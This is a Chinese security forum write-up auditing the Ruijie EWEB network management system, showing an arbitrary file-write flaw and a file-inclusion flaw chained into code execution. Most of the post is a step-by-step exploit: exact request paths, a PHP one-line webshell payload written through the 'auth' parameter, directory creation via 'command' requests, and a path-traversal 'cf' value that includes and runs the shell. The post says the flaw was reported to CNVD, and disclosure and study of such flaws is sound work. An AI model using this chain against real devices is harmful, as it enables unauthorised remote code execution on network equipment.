已提交cnvd,各位师傅就不要再提交了
漏洞名称:
锐捷网络-EWEB网管系统文件包含漏洞
一、审计步骤:
(一)查找写入文件函数:
自动化审计,在这个/auth_pi/authService.php文件下发现file_put_contents函数可控,跟进该文件。
/auth_pi/authService.php文件的set_authAction方法。在76行的提醒语句也说明了该info文件在user_auth目录下,而且也未对userName进行安全过滤,这里可以任意路径创建文件。
而P方法存在于/mvc/lib/core.function.php的类里面,是用来接收POST传参。
利用方式:
1:post请求
2:请求参数a=set_auth
3:参数为userName、auth
(二)查找文件包含函数:
自动化审计,在这个/local/auth/php/getCfile.php文件下发现include 函数可控,跟进该文件
这个文件通过post方式传参但是并没有对cf参数进行安全过滤
利用方式:
1:post请求
2:必须存在tmp/user_auth/cfile目录或者自己创建
3:参数为cf、&field=1
将文件全部放到www目录下,由于本地环境不是真实站点,所以在www目录下创建tmp文件,并创建test.info,这里说一下getCfile.php默认是找tmp/app_auth/cfile/下的文件,所以要用../../返回到tmp根目录。
成功案例:
步骤一:写文件
利用方式:
1:post请求/auth_pi/authService.php
2:请求参数a=set_auth
3:参数为userName、auth
登录后抓包将任意数据包的请求路径改成,
“/auth_pi/authService.php?a=set_auth”,将请求参数添加或者改成userName=tr1&auth=?php%20@eval($_POST['w']);?
userName参数可以为任意字符,包含的时候必须为userName参数.info文件。
创建目录:
通过(
command=cd+tmp
command=mkdir+app_auth
command=cd+app_auth
command=mkdir+cfile
)命令创建tmp/app_auth/cfile/目录
步骤二:文件包含
利用方式:
1:post请求/local/auth/php/getCfile.php
2:请求参数cf=../../../data/userName参数.info,登录后抓包将任意数据包的请求路径改成/local/auth/php/getCfile.php,请求参数添加或者改为
cf=../../../data/tr.info
3:&w=phpinfo();是一句话连接密码
注意:有时候../../../data/user_auth/userName参数.info才能包含
- 本文作者: N1eC
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/338
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!